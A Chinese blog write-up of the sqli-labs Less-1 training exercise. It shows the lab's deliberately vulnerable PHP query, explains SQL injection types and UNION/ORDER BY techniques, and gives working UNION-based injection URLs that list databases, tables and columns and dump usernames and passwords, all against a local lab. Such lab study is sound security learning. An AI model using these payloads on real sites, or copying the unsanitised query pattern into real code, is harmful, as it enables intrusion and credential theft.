美文网首页
sqli-labs (less-1)

sqli-labs (less-1)

作者: simle天晴 | 来源:发表于2019-03-05 21:11 被阅读0次

    Less1 核心代码

    • 在用户表中查询一条用户信息,在页面中显示这条信息的用户名密码
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysqli_query($con, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);
        if($row)
        {
        echo "<font size='5' color= '#99FF00'>";
        echo 'Your Login name:'. $row['username'];
        echo "<br>";
        echo 'Your Password:' .$row['password'];
        echo "</font>";
        }
        else 
        {
        echo '<font color= "#FFFF00">';
        print_r(mysqli_error($con));
        echo "</font>";  
        }
    }
        else { echo "Please input the ID as parameter with numeric value";}
    ?>
    
    • 具体后台mysql中操作的结果是
    image.png

    首先我们要判断是否是sql注入,我们用单引号去尝试

    image.png

    得到的有价值的信息

    • 出现报错一定有数据库注入
    • 数据库为myql
    • LIMIT 0,1 后台只查询一条内容(比较重要的信息)
    image.png

    在做测试之前要科普下数据库注入的几种类型

    • union注入(联合查询)
    • 基于错误的注入
    • 时间注入
    • 布尔注入
    • 内联查询
    • 栈查询

    其中盲注又分为

     基于布尔SQL盲注
     基于时间的SQL盲注
     基于报错的SQL盲注
    

    sqlmap 中对于注入的分类

    image.png

    测试开始

    首先我们要用最常见的union 注入去尝试
    

    关于union注入介绍

    UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

    请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

    SQL UNION 语法

    SELECT column_name(s) FROM table_name1
    UNION
    SELECT column_name(s) FROM table_name2
    
    

    注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

    SQL UNION ALL 语法
    SELECT column_name(s) FROM table_name1
    UNION ALL
    SELECT column_name(s) FROM table_name2
    

    另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

    • 具体的例子
    image.png

    上文说过(如何判断前面的select 查询有几列呢? order by 介绍)

    union内部的SELECT 语句必须拥有相同的列

    order by 是对查询的列进行排序

    语法

    SELECT field1, field2,...fieldN table_name1, table_name2...
    ORDER BY field1, [field2...] [ASC [DESC]]
    

    order by 有一个特性,就是后面可以不跟排序的字段,直接跟数字,如果数字超过查询的列就会报错,

    当为3的时候正常,当为4时候报错(得到结果查询的列为3)

    image.png

    在正式测试之前还介绍几个知识 group_concat

    正式开始

    • 猜测数据库
    select schema_name  from information_schema.schemata
    
    • 猜测数据库中的数据表
    select table_name  from  information_schema.tables  where table_schema='XXXX'
    
    • 猜测表的所有列
    select column_name from information_schema.columns where table_name='xxxx'
    
    • 获取某列的内容
    select xxx  from  xxxxx
    

    LESS1 中的 POC

    
    查看数据库
    http://127.0.0.1/sqli-labs/Less-1/?id='  union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23
    
    
    查看表
    http://127.0.0.1/sqli-labs/Less-1/?id=-1 '  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
    
    
    
    查看列
    http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
    
    
    查看数据
    http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23
    
    
    

    相关文章

      网友评论

          本文标题:sqli-labs (less-1)

          本文链接:https://www.haomeiwen.com/subject/bhnouqtx.html